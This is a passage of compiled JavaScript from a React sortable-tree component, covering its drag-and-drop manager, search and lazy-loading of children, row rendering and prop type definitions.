'ltr' }; TreeNode.propTypes = { treeIndex: PropTypes.number.isRequired, treeId: PropTypes.string.isRequired, swapFrom: PropTypes.number, swapDepth: PropTypes.number, swapLength: PropTypes.number, scaffoldBlockPxWidth: PropTypes.number.isRequired, lowerSiblingCounts: PropTypes.arrayOf(PropTypes.number).isRequired, listIndex: PropTypes.number.isRequired, children: PropTypes.node.isRequired, // Drop target connectDropTarget: PropTypes.func.isRequired, isOver: PropTypes.bool.isRequired, canDrop: PropTypes.bool, draggedNode: PropTypes.shape({}), // used in dndManager getPrevRow: PropTypes.func.isRequired, node: PropTypes.shape({}).isRequired, path: PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.string, PropTypes.number])).isRequired, // rtl support rowDirection: PropTypes.string }; var TreePlaceholder = /*#__PURE__*/function (_Component) { _inherits(TreePlaceholder, _Component); var _super = _createSuper(TreePlaceholder); function TreePlaceholder() { _classCallCheck(this, TreePlaceholder); return _super.apply(this, arguments); } _createClass(TreePlaceholder, [{ key: "render", value: function render() { var _this$props = this.props, children = _this$props.children, connectDropTarget = _this$props.connectDropTarget, treeId = _this$props.treeId, drop = _this$props.drop, otherProps = _objectWithoutProperties(_this$props, ["children", "connectDropTarget", "treeId", "drop"]); return connectDropTarget( /*#__PURE__*/React__default.createElement("div", null, React.Children.map(children, function (child) { return /*#__PURE__*/React.cloneElement(child, _objectSpread2({}, otherProps)); }))); } }]); return TreePlaceholder; }(React.Component); TreePlaceholder.defaultProps = { canDrop: false, draggedNode: null }; TreePlaceholder.propTypes = { children: PropTypes.node.isRequired, // Drop target connectDropTarget: PropTypes.func.isRequired, isOver: PropTypes.bool.isRequired, canDrop: PropTypes.bool, draggedNode: PropTypes.shape({}), treeId: PropTypes.string.isRequired, drop: PropTypes.func.isRequired }; function defaultGetNodeKey(_ref) { var treeIndex = _ref.treeIndex; return treeIndex; } // Cheap hack to get the text of a react object function getReactElementText(parent) { if (typeof parent === 'string') { return parent; } if (parent === null || _typeof(parent) !== 'object' || !parent.props || !parent.props.children || typeof parent.props.children !== 'string' && _typeof(parent.props.children) !== 'object') { return ''; } if (typeof parent.props.children === 'string') { return parent.props.children; } return parent.props.children.map(function (child) { return getReactElementText(child); }).join(''); } // Search for a query string inside a node property function stringSearch(key, searchQuery, node, path, treeIndex) { if (typeof node[key] === 'function') { // Search within text after calling its function to generate the text return String(node[key]({ node: node, path: path, treeIndex: treeIndex })).indexOf(searchQuery) > -1; } if (_typeof(node[key]) === 'object') { // Search within text inside react elements return getReactElementText(node[key]).indexOf(searchQuery) > -1; } // Search within string return node[key] && String(node[key]).indexOf(searchQuery) > -1; } function defaultSearchMethod(_ref2) { var node = _ref2.node, path = _ref2.path, treeIndex = _ref2.treeIndex, searchQuery = _ref2.searchQuery; return stringSearch('title', searchQuery, node, path, treeIndex) || stringSearch('subtitle', searchQuery, node, path, treeIndex); } var memoize = function memoize(f) { var savedArgsArray = []; var savedKeysArray = []; var savedResult = null; return function (args) { var keysArray = Object.keys(args).sort(); var argsArray = keysArray.map(function (key) { return args[key]; }); // If the arguments for the last insert operation are different than this time, // recalculate the result if (argsArray.length !== savedArgsArray.length || argsArray.some(function (arg, index) { return arg !== savedArgsArray[index]; }) || keysArray.some(function (key, index) { return key !== savedKeysArray[index]; })) { savedArgsArray = argsArray; savedKeysArray = keysArray; savedResult = f(args); } return savedResult; }; }; var memoizedInsertNode = memoize(insertNode); var memoizedGetFlatDataFromTree = memoize(getFlatDataFromTree); var memoizedGetDescendantCount = memoize(getDescendantCount); var DndManager = /*#__PURE__*/function () { function DndManager(treeRef) { _classCallCheck(this, DndManager); this.treeRef = treeRef; } _createClass(DndManager, [{ key: "startDrag", get: function get() { return this.treeRef.startDrag; } }, { key: "dragHover", get: function get() { return this.treeRef.dragHover; } }, { key: "endDrag", get: function get() { return this.treeRef.endDrag; } }, { key: "drop", get: function get() { return this.treeRef.drop; } }, { key: "treeId", get: function get() { return this.treeRef.treeId; } }, { key: "dndType", get: function get() { return this.treeRef.dndType; } }, { key: "treeData", get: function get() { return this.treeRef.state.draggingTreeData || this.treeRef.props.treeData; } }, { key: "getNodeKey", get: function get() { return this.treeRef.props.getNodeKey; } }, { key: "customCanDrop", get: function get() { return this.treeRef.props.canDrop; } }, { key: "maxDepth", get: function get() { return this.treeRef.props.maxDepth; } }, { key: "getTargetDepth", value: function getTargetDepth(dropTargetProps, monitor, component) { var dropTargetDepth = 0; var rowAbove = dropTargetProps.getPrevRow(); if (rowAbove) { var path = rowAbove.path; var aboveNodeCannotHaveChildren = !this.treeRef.canNodeHaveChildren(rowAbove.node); if (aboveNodeCannotHaveChildren) { path = path.slice(0, path.length - 1); } // Limit the length of the path to the deepest possible dropTargetDepth = Math.min(path.length, dropTargetProps.path.length); } var blocksOffset; var dragSourceInitialDepth = (monitor.getItem().path || []).length; // When adding node from external source if (monitor.getItem().treeId !== this.treeId) { // Ignore the tree depth of the source, if it had any to begin with dragSourceInitialDepth = 0; if (component) { var relativePosition = reactDom.findDOMNode(component).getBoundingClientRect(); // eslint-disable-line react/no-find-dom-node var leftShift = monitor.getSourceClientOffset().x - relativePosition.left; blocksOffset = Math.round(leftShift / dropTargetProps.scaffoldBlockPxWidth); } else { blocksOffset = dropTargetProps.path.length; } } else { // handle row direction support var direction = dropTargetProps.rowDirection === 'rtl' ? -1 : 1; blocksOffset = Math.round(direction * monitor.getDifferenceFromInitialOffset().x / dropTargetProps.scaffoldBlockPxWidth); } var targetDepth = Math.min(dropTargetDepth, Math.max(0, dragSourceInitialDepth + blocksOffset - 1)); // If a maxDepth is defined, constrain the target depth if (typeof this.maxDepth !== 'undefined' && this.maxDepth !== null) { var draggedNode = monitor.getItem().node; var draggedChildDepth = getDepth(draggedNode); targetDepth = Math.max(0, Math.min(targetDepth, this.maxDepth - draggedChildDepth - 1)); } return targetDepth; } }, { key: "canDrop", value: function canDrop(dropTargetProps, monitor) { if (!monitor.isOver()) { return false; } var rowAbove = dropTargetProps.getPrevRow(); var abovePath = rowAbove ? rowAbove.path : []; var aboveNode = rowAbove ? rowAbove.node : {}; var targetDepth = this.getTargetDepth(dropTargetProps, monitor, null); // Cannot drop if we're adding to the children of the row above and // the row above is a function if (targetDepth >= abovePath.length && typeof aboveNode.children === 'function') { return false; } if (typeof this.customCanDrop === 'function') { var _monitor$getItem = monitor.getItem(), node = _monitor$getItem.node; var addedResult = memoizedInsertNode({ treeData: this.treeData, newNode: node, depth: targetDepth, getNodeKey: this.getNodeKey, minimumTreeIndex: dropTargetProps.listIndex, expandParent: true }); return this.customCanDrop({ node: node, prevPath: monitor.getItem().path, prevParent: monitor.getItem().parentNode, prevTreeIndex: monitor.getItem().treeIndex, // Equals -1 when dragged from external tree nextPath: addedResult.path, nextParent: addedResult.parentNode, nextTreeIndex: addedResult.treeIndex }); } return true; } }, { key: "wrapSource", value: function wrapSource(el) { var _this = this; var nodeDragSource = { beginDrag: function beginDrag(props) { _this.startDrag(props); return { node: props.node, parentNode: props.parentNode, path: props.path, treeIndex: props.treeIndex, treeId: props.treeId }; }, endDrag: function endDrag(props, monitor) { _this.endDrag(monitor.getDropResult()); }, isDragging: function isDragging(props, monitor) { var dropTargetNode = monitor.getItem().node; var draggedNode = props.node; return draggedNode === dropTargetNode; } }; function nodeDragSourcePropInjection(connect, monitor) { return { connectDragSource: connect.dragSource(), connectDragPreview: connect.dragPreview(), isDragging: monitor.isDragging(), didDrop: monitor.didDrop() }; } return reactDnd.DragSource(this.dndType, nodeDragSource, nodeDragSourcePropInjection)(el); } }, { key: "wrapTarget", value: function wrapTarget(el) { var _this2 = this; var nodeDropTarget = { drop: function drop(dropTargetProps, monitor, component) { var result = { node: monitor.getItem().node, path: monitor.getItem().path, treeIndex: monitor.getItem().treeIndex, treeId: _this2.treeId, minimumTreeIndex: dropTargetProps.treeIndex, depth: _this2.getTargetDepth(dropTargetProps, monitor, component) }; _this2.drop(result); return result; }, hover: function hover(dropTargetProps, monitor, component) { var targetDepth = _this2.getTargetDepth(dropTargetProps, monitor, component); var draggedNode = monitor.getItem().node; var needsRedraw = // Redraw if hovered above different nodes dropTargetProps.node !== draggedNode || // Or hovered above the same node but at a different depth targetDepth !== dropTargetProps.path.length - 1; if (!needsRedraw) { return; } // throttle `dragHover` work to available animation frames cancelAnimationFrame(_this2.rafId); _this2.rafId = requestAnimationFrame(function () { _this2.dragHover({ node: draggedNode, path: monitor.getItem().path, minimumTreeIndex: dropTargetProps.listIndex, depth: targetDepth }); }); }, canDrop: this.canDrop.bind(this) }; function nodeDropTargetPropInjection(connect, monitor) { var dragged = monitor.getItem(); return { connectDropTarget: connect.dropTarget(), isOver: monitor.isOver(), canDrop: monitor.canDrop(), draggedNode: dragged ? dragged.node : null }; } return reactDnd.DropTarget(this.dndType, nodeDropTarget, nodeDropTargetPropInjection)(el); } }, { key: "wrapPlaceholder", value: function wrapPlaceholder(el) { var _this3 = this; var placeholderDropTarget = { drop: function drop(dropTargetProps, monitor) { var _monitor$getItem2 = monitor.getItem(), node = _monitor$getItem2.node, path = _monitor$getItem2.path, treeIndex = _monitor$getItem2.treeIndex; var result = { node: node, path: path, treeIndex: treeIndex, treeId: _this3.treeId, minimumTreeIndex: 0, depth: 0 }; _this3.drop(result); return result; } }; function placeholderPropInjection(connect, monitor) { var dragged = monitor.getItem(); return { connectDropTarget: connect.dropTarget(), isOver: monitor.isOver(), canDrop: monitor.canDrop(), draggedNode: dragged ? dragged.node : null }; } return reactDnd.DropTarget(this.dndType, placeholderDropTarget, placeholderPropInjection)(el); } }]); return DndManager; }(); /* eslint-disable import/prefer-default-export */ function slideRows(rows, fromIndex, toIndex) { var count = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : 1; var rowsWithoutMoved = [].concat(_toConsumableArray(rows.slice(0, fromIndex)), _toConsumableArray(rows.slice(fromIndex + count))); return [].concat(_toConsumableArray(rowsWithoutMoved.slice(0, toIndex)), _toConsumableArray(rows.slice(fromIndex, fromIndex + count)), _toConsumableArray(rowsWithoutMoved.slice(toIndex))); } var treeIdCounter = 1; var mergeTheme = function mergeTheme(props) { var merged = _objectSpread2(_objectSpread2({}, props), {}, { style: _objectSpread2(_objectSpread2({}, props.theme.style), props.style), innerStyle: _objectSpread2(_objectSpread2({}, props.theme.innerStyle), props.innerStyle), reactVirtualizedListProps: _objectSpread2(_objectSpread2({}, props.theme.reactVirtualizedListProps), props.reactVirtualizedListProps) }); var overridableDefaults = { nodeContentRenderer: NodeRendererDefault, placeholderRenderer: PlaceholderRendererDefault, rowHeight: 62, scaffoldBlockPxWidth: 44, slideRegionSize: 100, treeNodeRenderer: TreeNode }; Object.keys(overridableDefaults).forEach(function (propKey) { // If prop has been specified, do not change it // If prop is specified in theme, use the theme setting // If all else fails, fall back to the default if (props[propKey] === null) { merged[propKey] = typeof props.theme[propKey] !== 'undefined' ? props.theme[propKey] : overridableDefaults[propKey]; } }); return merged; }; var ReactSortableTree = /*#__PURE__*/function (_Component) { _inherits(ReactSortableTree, _Component); var _super = _createSuper(ReactSortableTree); function ReactSortableTree(props) { var _this; _classCallCheck(this, ReactSortableTree); _this = _super.call(this, props); var _mergeTheme = mergeTheme(props), dndType = _mergeTheme.dndType, nodeContentRenderer = _mergeTheme.nodeContentRenderer, treeNodeRenderer = _mergeTheme.treeNodeRenderer, isVirtualized = _mergeTheme.isVirtualized, slideRegionSize = _mergeTheme.slideRegionSize; _this.dndManager = new DndManager(_assertThisInitialized(_this)); // Wrapping classes for use with react-dnd _this.treeId = "rst__".concat(treeIdCounter); treeIdCounter += 1; _this.dndType = dndType || _this.treeId; _this.nodeContentRenderer = _this.dndManager.wrapSource(nodeContentRenderer); _this.treePlaceholderRenderer = _this.dndManager.wrapPlaceholder(TreePlaceholder); _this.treeNodeRenderer = _this.dndManager.wrapTarget(treeNodeRenderer); // Prepare scroll-on-drag options for this list if (isVirtualized) { _this.scrollZoneVirtualList = (lib_3 || withScrolling)(reactVirtualized.List); _this.vStrength = lib_2(slideRegionSize); _this.hStrength = lib_1(slideRegionSize); } _this.state = { draggingTreeData: null, draggedNode: null, draggedMinimumTreeIndex: null, draggedDepth: null, searchMatches: [], searchFocusTreeIndex: null, dragging: false, // props that need to be used in gDSFP or static functions will be stored here instanceProps: { treeData: [], ignoreOneTreeUpdate: false, searchQuery: null, searchFocusOffset: null } }; _this.toggleChildrenVisibility = _this.toggleChildrenVisibility.bind(_assertThisInitialized(_this)); _this.moveNode = _this.moveNode.bind(_assertThisInitialized(_this)); _this.startDrag = _this.startDrag.bind(_assertThisInitialized(_this)); _this.dragHover = _this.dragHover.bind(_assertThisInitialized(_this)); _this.endDrag = _this.endDrag.bind(_assertThisInitialized(_this)); _this.drop = _this.drop.bind(_assertThisInitialized(_this)); _this.handleDndMonitorChange = _this.handleDndMonitorChange.bind(_assertThisInitialized(_this)); return _this; } _createClass(ReactSortableTree, [{ key: "componentDidMount", value: function componentDidMount() { ReactSortableTree.loadLazyChildren(this.props, this.state); var stateUpdate = ReactSortableTree.search(this.props, this.state, true, true, false); this.setState(stateUpdate); // Hook into react-dnd state changes to detect when the drag ends // TODO: This is very brittle, so it needs to be replaced if react-dnd // offers a more official way to detect when a drag ends this.clearMonitorSubscription = this.props.dragDropManager.getMonitor().subscribeToStateChange(this.handleDndMonitorChange); } }, { key: "componentDidUpdate", value: // listen to dragging function componentDidUpdate(prevProps, prevState) { // if it is not the same then call the onDragStateChanged if (this.state.dragging !== prevState.dragging) { if (this.props.onDragStateChanged) { this.props.onDragStateChanged({ isDragging: this.state.dragging, draggedNode: this.state.draggedNode }); } } } }, { key: "componentWillUnmount", value: function componentWillUnmount() { this.clearMonitorSubscription(); } }, { key: "getRows", value: function getRows(treeData) { return memoizedGetFlatDataFromTree({ ignoreCollapsed: true, getNodeKey: this.props.getNodeKey, treeData: treeData }); } }, { key: "handleDndMonitorChange", value: function handleDndMonitorChange() { var monitor = this.props.dragDropManager.getMonitor(); // If the drag ends and the tree is still in a mid-drag state, // it means that the drag was canceled or the dragSource dropped // elsewhere, and we should reset the state of this tree if (!monitor.isDragging() && this.state.draggingTreeData) { this.endDrag(); } } }, { key: "toggleChildrenVisibility", value: function toggleChildrenVisibility(_ref) { var targetNode = _ref.node, path = _ref.path; var instanceProps = this.state.instanceProps; var treeData = changeNodeAtPath({ treeData: instanceProps.treeData, path: path, newNode: function newNode(_ref2) { var node = _ref2.node; return _objectSpread2(_objectSpread2({}, node), {}, { expanded: !node.expanded }); }, getNodeKey: this.props.getNodeKey }); this.props.onChange(treeData); this.props.onVisibilityToggle({ treeData: treeData, node: targetNode, expanded: !targetNode.expanded, path: path }); } }, { key: "moveNode", value: function moveNode(_ref3) { var node = _ref3.node, prevPath = _ref3.path, prevTreeIndex = _ref3.treeIndex, depth = _ref3.depth, minimumTreeIndex = _ref3.minimumTreeIndex; var _insertNode = insertNode({ treeData: this.state.draggingTreeData, newNode: node, depth: depth, minimumTreeIndex: minimumTreeIndex, expandParent: true, getNodeKey: this.props.getNodeKey }), treeData = _insertNode.treeData, treeIndex = _insertNode.treeIndex, path = _insertNode.path, nextParentNode = _insertNode.parentNode; this.props.onChange(treeData); this.props.onMoveNode({ treeData: treeData, node: node, treeIndex: treeIndex, path: path, nextPath: path, nextTreeIndex: treeIndex, prevPath: prevPath, prevTreeIndex: prevTreeIndex, nextParentNode: nextParentNode }); } // returns the new state after search }, { key: "startDrag", value: function startDrag(_ref4) { var _this2 = this; var path = _ref4.path; this.setState(function (prevState) { var _removeNode = removeNode({ treeData: prevState.instanceProps.treeData, path: path, getNodeKey: _this2.props.getNodeKey }), draggingTreeData = _removeNode.treeData, draggedNode = _removeNode.node, draggedMinimumTreeIndex = _removeNode.treeIndex; return { draggingTreeData: draggingTreeData, draggedNode: draggedNode, draggedDepth: path.length - 1, draggedMinimumTreeIndex: draggedMinimumTreeIndex, dragging: true }; }); } }, { key: "dragHover", value: function dragHover(_ref5) { var _this3 = this; var draggedNode = _ref5.node, draggedDepth = _ref5.depth, draggedMinimumTreeIndex = _ref5.minimumTreeIndex; // Ignore this hover if it is at the same position as the last hover if (this.state.draggedDepth === draggedDepth && this.state.draggedMinimumTreeIndex === draggedMinimumTreeIndex) { return; } this.setState(function (_ref6) { var draggingTreeData = _ref6.draggingTreeData, instanceProps = _ref6.instanceProps; // Fall back to the tree data if something is being dragged in from // an external element var newDraggingTreeData = draggingTreeData || instanceProps.treeData; var addedResult = memoizedInsertNode({ treeData: newDraggingTreeData, newNode: draggedNode, depth: draggedDepth, minimumTreeIndex: draggedMinimumTreeIndex, expandParent: true, getNodeKey: _this3.props.getNodeKey }); var rows = _this3.getRows(addedResult.treeData); var expandedParentPath = rows[addedResult.treeIndex].path; return { draggedNode: draggedNode, draggedDepth: draggedDepth, draggedMinimumTreeIndex: draggedMinimumTreeIndex, draggingTreeData: changeNodeAtPath({ treeData: newDraggingTreeData, path: expandedParentPath.slice(0, -1), newNode: function newNode(_ref7) { var node = _ref7.node; return _objectSpread2(_objectSpread2({}, node), {}, { expanded: true }); }, getNodeKey: _this3.props.getNodeKey }), // reset the scroll focus so it doesn't jump back // to a search result while dragging searchFocusTreeIndex: null, dragging: true }; }); } }, { key: "endDrag", value: function endDrag(dropResult) { var _this4 = this; var instanceProps = this.state.instanceProps; var resetTree = function resetTree() { return _this4.setState({ draggingTreeData: null, draggedNode: null, draggedMinimumTreeIndex: null, draggedDepth: null, dragging: false }); }; // Drop was cancelled if (!dropResult) { resetTree(); } else if (dropResult.treeId !== this.treeId) { // The node was dropped in an external drop target or tree var node = dropResult.node, path = dropResult.path, treeIndex = dropResult.treeIndex; var shouldCopy = this.props.shouldCopyOnOutsideDrop; if (typeof shouldCopy === 'function') { shouldCopy = shouldCopy({ node: node, prevTreeIndex: treeIndex, prevPath: path }); } var treeData = this.state.draggingTreeData || instanceProps.treeData; // If copying is enabled, a drop outside leaves behind a copy in the // source tree if (shouldCopy) { treeData = changeNodeAtPath({ treeData: instanceProps.treeData, // use treeData unaltered by the drag operation path: path, newNode: function newNode(_ref8) { var copyNode = _ref8.node; return _objectSpread2({}, copyNode); }, // create a shallow copy of the node getNodeKey: this.props.getNodeKey }); } this.props.onChange(treeData); this.props.onMoveNode({ treeData: treeData, node: node, treeIndex: null, path: null, nextPath: null, nextTreeIndex: null, prevPath: path, prevTreeIndex: treeIndex }); } } }, { key: "drop", value: function drop(dropResult) { this.moveNode(dropResult); } }, { key: "canNodeHaveChildren", value: function canNodeHaveChildren(node) { var canNodeHaveChildren = this.props.canNodeHaveChildren; if (canNodeHaveChildren) { return canNodeHaveChildren(node); } return true; } // Load any children in the tree that are given by a function // calls the onChange callback on the new treeData }, { key: "renderRow", value: function renderRow(row, _ref9) { var listIndex = _ref9.listIndex, style = _ref9.style, getPrevRow = _ref9.getPrevRow, matchKeys = _ref9.matchKeys, swapFrom = _ref9.swapFrom, swapDepth = _ref9.swapDepth, swapLength = _ref9.swapLength; var node = row.node, parentNode = row.parentNode, path = row.path, lowerSiblingCounts = row.lowerSiblingCounts, treeIndex = row.treeIndex; var _mergeTheme2 = mergeTheme(this.props), canDrag = _mergeTheme2.canDrag, generateNodeProps = _mergeTheme2.generateNodeProps, scaffoldBlockPxWidth = _mergeTheme2.scaffoldBlockPxWidth, searchFocusOffset = _mergeTheme2.searchFocusOffset, rowDirection = _mergeTheme2.rowDirection; var TreeNodeRenderer = this.treeNodeRenderer; var NodeContentRenderer = this.nodeContentRenderer; var nodeKey = path[path.length - 1]; var isSearchMatch = (nodeKey in matchKeys); var isSearchFocus = isSearchMatch && matchKeys[nodeKey] === searchFocusOffset; var callbackParams = { node: node, parentNode: parentNode, path: path, lowerSiblingCounts: lowerSiblingCounts, treeIndex: treeIndex, isSearchMatch: isSearchMatch, isSearchFocus: isSearchFocus }; var nodeProps = !generateNodeProps ? {} : generateNodeProps(callbackParams); var rowCanDrag = typeof canDrag !== 'function' ? canDrag : canDrag(callbackParams); var sharedProps = { treeIndex: treeIndex, scaffoldBlockPxWidth: scaffoldBlockPxWidth, node: node, path: path, treeId: this.treeId, rowDirection: rowDirection }; return /*#__PURE__*/React__default.createElement(TreeNodeRenderer, _extends({ style: style, key: nodeKey, listIndex: listIndex, getPrevRow: getPrevRow, lowerSiblingCounts: lowerSiblingCounts, swapFrom: swapFrom, swapLength: swapLength, swapDepth: swapDepth }, sharedProps), /*#__PURE__*/React__default.createElement(NodeContentRenderer, _extends({ parentNode: parentNode, isSearchMatch: isSearchMatch, isSearchFocus: isSearchFocus, canDrag: rowCanDrag, toggleChildrenVisibility: this.toggleChildrenVisibility }, sharedProps, nodeProps))); } }, { key: "render", value: function render() { var _this5 = this; var _mergeTheme3 = mergeTheme(this.props), dragDropManager = _mergeTheme3.dragDropManager, style = _mergeTheme3.style, className = _mergeTheme3.className, innerStyle = _mergeTheme3.innerStyle, rowHeight = _mergeTheme3.rowHeight, isVirtualized = _mergeTheme3.isVirtualized, placeholderRenderer = _mergeTheme3.placeholderRenderer, reactVirtualizedListProps = _mergeTheme3.reactVirtualizedListProps, getNodeKey = _mergeTheme3.getNodeKey, rowDirection = _mergeTheme3.rowDirection; var _this$state = this.state, searchMatches = _this$state.searchMatches, searchFocusTreeIndex = _this$state.searchFocusTreeIndex, draggedNode = _this$state.draggedNode, draggedDepth = _this$state.draggedDepth, draggedMinimumTreeIndex = _this$state.draggedMinimumTreeIndex, instanceProps = _this$state.instanceProps; var treeData = this.state.draggingTreeData || instanceProps.treeData; var rowDirectionClass = rowDirection === 'rtl' ? 'rst__rtl' : null; var rows; var swapFrom = null; var swapLength = null; if (draggedNode && draggedMinimumTreeIndex !== null) { var addedResult = memoizedInsertNode({ treeData: treeData, newNode: draggedNode, depth: draggedDepth, minimumTreeIndex: draggedMinimumTreeIndex, expandParent: true, getNodeKey: getNodeKey }); var swapTo = draggedMinimumTreeIndex; swapFrom = addedResult.treeIndex; swapLength = 1 + memoizedGetDescendantCount({ node: draggedNode }); rows = slideRows(this.getRows(addedResult.treeData), swapFrom, swapTo, swapLength); } else { rows = this.getRows(treeData); } // Get indices for rows that match the search conditions var matchKeys = {}; searchMatches.forEach(function (_ref10, i) { var path = _ref10.path; matchKeys[path[path.length - 1]] = i; }); // Seek to the focused search result if there is one specified var scrollToInfo = searchFocusTreeIndex !== null ? { scrollToIndex: searchFocusTreeIndex } : {}; var containerStyle = style; var list; if (rows.length < 1) { var Placeholder = this.treePlaceholderRenderer; var PlaceholderContent = placeholderRenderer; list = /*#__PURE__*/React__default.createElement(Placeholder, { treeId: this.treeId, drop: this.drop }, /*#__PURE__*/React__default.createElement(PlaceholderContent, null)); } else if (isVirtualized) { containerStyle = _objectSpread2({ height: '100%' }, containerStyle); var ScrollZoneVirtualList = this.scrollZoneVirtualList; // Render list with react-virtualized list = /*#__PURE__*/React__default.createElement(reactVirtualized.AutoSizer, null, function (_ref11) { var height = _ref11.height, width = _ref11.width; return /*#__PURE__*/React__default.createElement(ScrollZoneVirtualList, _extends({}, scrollToInfo, { dragDropManager: dragDropManager, verticalStrength: _this5.vStrength, horizontalStrength: _this5.hStrength, speed: 30, scrollToAlignment: "start", className: "rst__virtualScrollOverride", width: width, onScroll: function onScroll(_ref12) { var scrollTop = _ref12.scrollTop; _this5.scrollTop = scrollTop; }, height: height, style: innerStyle, rowCount: rows.length, estimatedRowSize: typeof rowHeight !== 'function' ? rowHeight : undefined, rowHeight: typeof rowHeight !== 'function' ? rowHeight : function (_ref13) { var index = _ref13.index; return rowHeight({ index: index, treeIndex: index, node: rows[index].node, path: rows[index].path }); }, rowRenderer: function rowRenderer(_ref14) { var index = _ref14.index, rowStyle = _ref14.style; return _this5.renderRow(rows[index], { listIndex: index, style: rowStyle, getPrevRow: function getPrevRow() { return rows[index - 1] || null; }, matchKeys: matchKeys, swapFrom: swapFrom, swapDepth: draggedDepth, swapLength: swapLength }); } }, reactVirtualizedListProps)); }); } else { // Render list without react-virtualized list = rows.map(function (row, index) { return _this5.renderRow(row, { listIndex: index, style: { height: typeof rowHeight !== 'function' ? rowHeight : rowHeight({ index: index, treeIndex: index, node: row.node, path: row.path }) }, getPrevRow: function getPrevRow() { return rows[index - 1] || null; }, matchKeys: matchKeys, swapFrom: swapFrom, swapDepth: draggedDepth, swapLength: swapLength }); }); } return /*#__PURE__*/React__default.createElement("div", { className: classnames('rst__tree', className, rowDirectionClass), style: containerStyle }, list); } }], [{ key: "getDerivedStateFromProps", value: function getDerivedStateFromProps(nextProps, prevState) { var instanceProps = prevState.instanceProps; var newState = {}; var isTreeDataEqual = isEqual(instanceProps.treeData, nextProps.treeData); // make sure we have the most recent version of treeData instanceProps.treeData = nextProps.treeData; if (!isTreeDataEqual) { if (instanceProps.ignoreOneTreeUpdate) { instanceProps.ignoreOneTreeUpdate = false; } else { newState.searchFocusTreeIndex = null; ReactSortableTree.loadLazyChildren(nextProps, prevState); Object.assign(newState, ReactSortableTree.search(nextProps, prevState, false, false, false)); } newState.draggingTreeData = null; newState.draggedNode = null; newState.draggedMinimumTreeIndex = null; newState.draggedDepth = null; newState.dragging = false; } else if (!isEqual(instanceProps.searchQuery, nextProps.searchQuery)) { Object.assign(newState, ReactSortableTree.search(nextProps, prevState, true, true, false)); } else if (instanceProps.searchFocusOffset !== nextProps.searchFocusOffset) { Object.assign(newState, ReactSortableTree.search(nextProps, prevState, true, true, true)); } instanceProps.searchQuery = nextProps.searchQuery; instanceProps.searchFocusOffset = nextProps.searchFocusOffset; newState.instanceProps = _objectSpread2(_objectSpread2({}, instanceProps), newState.instanceProps); return newState; } }, { key: "search", value: function search(props, state, seekIndex, expand, singleSearch) { var onChange = props.onChange, getNodeKey = props.getNodeKey, searchFinishCallback = props.searchFinishCallback, searchQuery = props.searchQuery, searchMethod = props.searchMethod, searchFocusOffset = props.searchFocusOffset, onlyExpandSearchedNodes = props.onlyExpandSearchedNodes; var instanceProps = state.instanceProps; // Skip search if no conditions are specified if (!searchQuery && !searchMethod) { if (searchFinishCallback) { searchFinishCallback([]); } return { searchMatches: [] }; } var newState = { instanceProps: {} }; // if onlyExpandSearchedNodes collapse the tree and search var _find = find({ getNodeKey: getNodeKey, treeData: onlyExpandSearchedNodes ? toggleExpandedForAll({ treeData: instanceProps.treeData, expanded: false }) : instanceProps.treeData, searchQuery: searchQuery, searchMethod: searchMethod || defaultSearchMethod, searchFocusOffset: searchFocusOffset, expandAllMatchPaths: expand && !singleSearch, expandFocusMatchPaths: !!expand }), expandedTreeData = _find.treeData, searchMatches = _find.matches; // Update the tree with data leaving all paths leading to matching nodes open if (expand) { newState.instanceProps.ignoreOneTreeUpdate = true; // Prevents infinite loop onChange(expandedTreeData); } if (searchFinishCallback) { searchFinishCallback(searchMatches); } var searchFocusTreeIndex = null; if (seekIndex && searchFocusOffset !== null && searchFocusOffset < searchMatches.length) { searchFocusTreeIndex = searchMatches[searchFocusOffset].treeIndex; } newState.searchMatches = searchMatches; newState.searchFocusTreeIndex = searchFocusTreeIndex; return newState; } }, { key: "loadLazyChildren", value: function loadLazyChildren(props, state) { var instanceProps = state.instanceProps; walk({ treeData: instanceProps.treeData, getNodeKey: props.getNodeKey, callback: function callback(_ref15) { var node = _ref15.node, path = _ref15.path, lowerSiblingCounts = _ref15.lowerSiblingCounts, treeIndex = _ref15.treeIndex; // If the node has children defined by a function, and is either expanded // or set to load even before expansion, run the function. if (node.children && typeof node.children === 'function' && (node.expanded || props.loadCollapsedLazyChildren)) { // Call the children fetching function node.children({ node: node, path: path, lowerSiblingCounts: lowerSiblingCounts, treeIndex: treeIndex, // Provide a helper to append the new data when it is received done: function done(childrenArray) { return props.onChange(changeNodeAtPath({ treeData: instanceProps.treeData, path: path, newNode: function newNode(_ref16) { var oldNode = _ref16.node; return (// Only replace the old node if it's the one we set off to find children // for in the first place oldNode === node ? _objectSpread2(_objectSpread2({}, oldNode), {}, { children: childrenArray }) : oldNode ); }, getNodeKey: props.getNodeKey })); } }); } } }); } }]); return ReactSortableTree; }(React.Component); ReactSortableTree.propTypes = { dragDropManager: PropTypes.shape({ getMonitor: PropTypes.func }).isRequired, // Tree data in the following format: // [{title: 'main', subtitle: 'sub'}, { title: 'value2', expanded: true, children: [{ title: 'value3') }] }] // `title` is the primary label for the node // `subtitle` is a secondary label for the node // `expanded` shows children of the node if true, or hides them if false. Defaults to false. // `children` is an array of child nodes belonging to the node. treeData: PropTypes.arrayOf(PropTypes.object).isRequired, // Style applied to the container wrapping the tree (style defaults to {height: '100%'}) style: PropTypes.shape({}), // Class name for the container wrapping the tree className: PropTypes.string, // Style applied to the inner, scrollable container (for padding, etc.) innerStyle: PropTypes.shape({}), // Used by react-virtualized // Either a fixed row height (number) or a function that returns the // height of a row given its index: `({ index: number }): number` rowHeight: PropTypes.oneOfType([PropTypes.number, PropTypes.func]), // Size in px of the region near the edges that initiates scrolling on dragover slideRegionSize: PropTypes.number, // Custom properties to hand to the react-virtualized list // https://github.com/bvaughn/react-virtualized/blob/master/docs/List.md#prop-types reactVirtualizedListProps: PropTypes.shape({}), // The width of the blocks containing the lines representing the structure of the tree. scaffoldBlockPxWidth: PropTypes.number, // Maximum depth nodes can be inserted at. Defaults to infinite. maxDepth: PropTypes.number, // The method used to search nodes. // Defaults to a function that uses the `searchQuery` string to search for nodes with // matching `title` or `subtitle` values. // NOTE: Changing `searchMethod` will not update the search, but changing the `searchQuery` will. searchMethod: PropTypes.func, // Used by the `searchMethod` to highlight and scroll to matched nodes. // Should be a string for the default `searchMethod`, but can be anything when using a custom search. searchQuery: PropTypes.any, // eslint-disable-line react/forbid-prop-types // Outline the <`searchFocusOffset`>th node and scroll to it. searchFocusOffset: PropTypes.number, // Get the nodes that match the search criteria. Used for counting total matches, etc. 